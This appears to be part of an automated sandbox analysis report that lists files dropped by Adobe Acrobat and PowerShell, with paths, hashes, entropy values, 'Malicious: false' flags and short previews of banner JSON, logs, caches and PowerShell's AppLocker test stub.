SHA-512:	C8E64B496F91272CFB61A0A69C3DC146CA0EBC92614FD26F16853B9C091944B82A9959198C213B97333E5108171BF12E008CD31DB7BCCEBB1B18EC2CC909AB8C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.254814548410145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJf+dPeUkwRe9:YvXKXfxh2vR/ZwHAKZG28Ukee9
MD5:	2CD08A2FBF81A68B96C404A3D2088B35
SHA1:	35E86CE8413EF0755777214254DFC5AFA9A7DA53
SHA-256:	6200FDF72C4236E039D91126E81B7E7A1DB00E7D917C108888CF2FC018A571FB
SHA-512:	A85412168A596F9E7A162BD497D85A807C117518AEDF6B6E1579F6A232CE08DC02412F7E18F031F450E51C1256FD9B14BE470D1EFD32226948A7F34AE834D41A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.252495281311576
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJfbPtdPeUkwRe9:YvXKXfxh2vR/ZwHAKZGDV8Ukee9
MD5:	E83AAEAE1FAD8A8656C8E6C4F005CA61
SHA1:	5E4D59F429FA08950C6E55800194A483066FAFEE
SHA-256:	76C9104FF69707C4C1376B85CACECFEBA0C3AB5E3314E14704982ABFB33ADE7F
SHA-512:	5C5F42684ED757424C721A08DE1EDCC8A6862770F270F77A11E364780C562BFBCF511336D0755F48C3887895DAF7B86EB6F5AF04B4BB5EF174AD189216FF8627
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.250791072013064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJf21rPeUkwRe9:YvXKXfxh2vR/ZwHAKZG+16Ukee9
MD5:	2AA1CBABBBADEFDFBBA85ECFAE5D97D6
SHA1:	2BBD5138F2DA4F90CC0AC0C6ABEA871DEDA2F4A6
SHA-256:	A74BF3FAA27D49B80D67FBE5A50D65982161A78A30D019410670BE84FCDA2485
SHA-512:	58DE2F64A0DBB543E57DE57B7584335B5DF8CCD34B553BC4AD9F5DA8ED42D1570FB89CE85EDC606B5551A0FF5F5BEB0238B00038F92CE2AAD50FA0298FB740EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662099854122857
Encrypted:	false
SSDEEP:	24:Yv6Xfxh2Jh/amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSP:Yv6xsJhXBgkDMUJUAh8cvMP
MD5:	3C066C9E7622D439F48E0C6A57E66DB0
SHA1:	5CCDE86ACE3D94B4264FB1A5CA5FA6A01AA94841
SHA-256:	7E2BEBF287AF9623797EBAE3ECCD889D279CD5DCD45D00F1C5B8D94A7FA578BF
SHA-512:	24EEBBD98DFDF319F41477B1F37E5B5E37227C25838E4B7CA9A836C77EF178301AA44D5D20E57B3353F7A6C2628CA584192E4F777339EAD3F67794A2AED11346
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2258817771068555
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJfshHHrPeUkwRe9:YvXKXfxh2vR/ZwHAKZGUUUkee9
MD5:	31C9E8330C5C0DA265A5BD5651EF4D83
SHA1:	741722172845DD4483FFB282DAF881BC8BB60A33
SHA-256:	564FBC2D2A9F6572BA558B176A8EEB2C4E3D4318FFF4CBE0EB09C9DA55796336
SHA-512:	A5324072C7B11638FF3EE9A7BD953DDB4E4886A67EB2856B7E467177954A2D4C7F3BBA1782CD38EE54D42D4747E059C793ED5DF3077730F13D38E489ECBA2F6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.241645215179879
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJTqgFCrPeUkwRe9:YvXKXfxh2vR/ZwHAKZGTq16Ukee9
MD5:	776264D6691773E24F792DE487187B66
SHA1:	5FFEE1103372A443F5E4CC8C9DB686DEC6BCEF9B
SHA-256:	B52C8E851112DACB0CB50994A9FAF58CFE2D5CEAD689510B2209A84B74913DB7
SHA-512:	56D54040EA03036B645C8057145031C20ECF1DD1550C9DEA51E956F786434F7D670297469A788A55842C9758D1170E1862DA1B851ECDD483F7EA63A39FE9DF14
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136150194536204
Encrypted:	false
SSDEEP:	24:YKrSlnVGaVayEVmEsvbVqzXMcVJFAAV6BJrBBnVGD9GnVdW24VPj7Tsj0SKVf86y:Y2sKFA/dyhvz3+NefM8T8viprO1BI96
MD5:	0694AF770F1C533973A33AAEBE3390CE
SHA1:	9A9296A8D222F04C58FC677883EC71115A3F7DAD
SHA-256:	5A22CAAF531075DC84AB98115EA27A0F5E3FD8F0010C7E7BC374344E17ECD980
SHA-512:	E57859F34F9B55FFAACD12C774753757DD4D32A4AAC7F1833A8AC390FF8E01A7A672EE2C5035943924101B170E9AB50B6801493245637D7C2FC3835D13CC00A9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"80108a198853135ba12a9e25749413b8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557229000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c18da8f36d1395b9e0af08650124f87b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557229000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a41610a6ddc7d936be3fee2d9b8b43a8","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557229000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"97ba7f105c916109d050b078fe17ce33","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557229000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7dfc3be88376d1fa684a8a782cd669e0","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557229000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"570f818ec60381dbbc61fa5f0fdd6015","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3188542308391382
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMemVotqVH:TGufl2GL7ms9WR1CPmPbPah4SypilIiU
MD5:	83D39BF7D6EA9178FE92AB13FD57452F
SHA1:	95C532C7F2CCA9836347CD1A83D57E29C29D48B1
SHA-256:	C4D8FF27A599182C625D2F6F56F761F041AB81BD7F967278480CC34D87C6B018
SHA-512:	FD430FFD69FF0B4D0B67DDD948002FA03EB912B6C9DCDA0CE94233B86597E115351E99C2D3A96BEFC0BF434843094DF863128EB6A8F45B98DDAB1CC3284C03F1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7802903777309702
Encrypted:	false
SSDEEP:	24:7+tRwlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMemVo4qVpaVrScVr0InVqLhF:7MRWR1CPmPbPah4TypilIQqFl2GL7ms5
MD5:	2B2601B9099F82BA72B382A5733B8897
SHA1:	1DB8C55195C54867185E37F755785E387FB23834
SHA-256:	4B6CC8982712A2EE92661CA856CAB048979CDDC844F941044C1C68DFF93011E1
SHA-512:	E4CDAAB54C5D7C50811015CF8B1911D0BB788B86FA3475A2FB0F26B8AF59D9A676C622A44F6B17E91CA028C47F94EE1028902079FEA15B05A7E14A2F1B47D505
Malicious:	false
Preview:	.... .c.......r...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgG8WmKjPGnOeUiRd7mPYEKeLIYyu:6a6TZ44ADEG8WmKyPUicYDrK
MD5:	DCFEA1D69A1DBD27CDBF39CB682F8F2D
SHA1:	3272942A0E84EC761A64A4CE0AA0B12EE2A25622
SHA-256:	039ABFBAAC22184C2C57301768CF0DB3A681F67878AD9AACFB0FE66D3CCFA76B
SHA-512:	F5ABCFE7D0E3AADBEB26C2B82BFA612EDAF264941718818F5E6D989B4D89E088B7F0820EB4F4D12AFE4F8EE82D0B1B54C4DCA01D4C33905E6D3B218C5D09E00E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIb1f02.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486646639490294
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClswlYH:Qw946cPbiOxDlbYnuRK+b2lYH
MD5:	50B3F50EA47D9C167B87225861CBA595
SHA1:	9A514698E44459302252205B0815D285B949AC1B
SHA-256:	A9144441F62481CD6B653BF40D76D8BD764125F50619948F2F8488F565CEC476
SHA-512:	2227136CC9B8FAF81DF8363908DD16BE742A561D07B1D7EE4EB7BC740B0885AE5671124E9580432598EAE7D712DA072A30F9B7D6CA0FEC392386F8BA51C8C05B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.0.0.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1ltxje1.wfo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cjsckxut.yx3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-00-24-396.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3358321222537315
Encrypted:	false
SSDEEP:	384:26U7czQ9d4trJWiw1QnfrVodJGrB/NdkoDt/JxfVg11O1jLE58Ez545E1MxDtA3s:oVs
MD5:	84C60DB8B25D0C939988396811D9DEAE
SHA1:	5672168D2C72DD8591544857D1E22323F9CD075D
SHA-256:	8BF82667BB175674166A7365C4D79EB9342F7DC747C4E7B261B7732BA6DD2BC4
SHA-512:	4CD2BEF7D93D1E65C9C4B4E01FCD202D407B8BDAA1102C986250D52E5144192E6AA4B942EB98249F0F0FFE7CDF89E691DD02445CA36A0ACA7DB28C51051FD29B
Malicious:	false
Preview:	SessionID=e49fbedc-a890-4d4c-ad23-4c7f72e9571f.1736557224411 Timestamp=2025-01-10T20:00:24:411-0500 ThreadID=1148 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e49fbedc-a890-4d4c-ad23-4c7f72e9571f.1736557224411 Timestamp=2025-01-10T20:00:24:412-0500 ThreadID=1148 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e49fbedc-a890-4d4c-ad23-4c7f72e9571f.1736557224411 Timestamp=2025-01-10T20:00:24:412-0500 ThreadID=1148 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e49fbedc-a890-4d4c-ad23-4c7f72e9571f.1736557224411 Timestamp=2025-01-10T20:00:24:412-0500 ThreadID=1148 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e49fbedc-a890-4d4c-ad23-4c7f72e9571f.1736557224411 Timestamp=2025-01-10T20:00:24:412-0500 ThreadID=1148 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4023523463734975
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbFKcbgIPJcb5:ceo4+rsC/tPO
MD5:	C3021FFD1CF42171473D104E91BB1345
SHA1:	882395C59309A1069CF835E4DE481AAF952147AD
SHA-256:	10FB61C9BC490071EA7B7C9E73671BC64B701CF8857A616C56E26C68DB288926
SHA-512:	B0487F4A2166353716B380231ECA69B9666CB53D5D2485E4221E47C36140E6536BDCE79C81C77EACCB7326D0F7A73436F7785335CE057C022B4F2F30079C92DC
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\8edebcc1-388b-41f8-ad9e-27e467c29ef0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\bed48670-3719-42d8-b1dc-0b908667e97c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
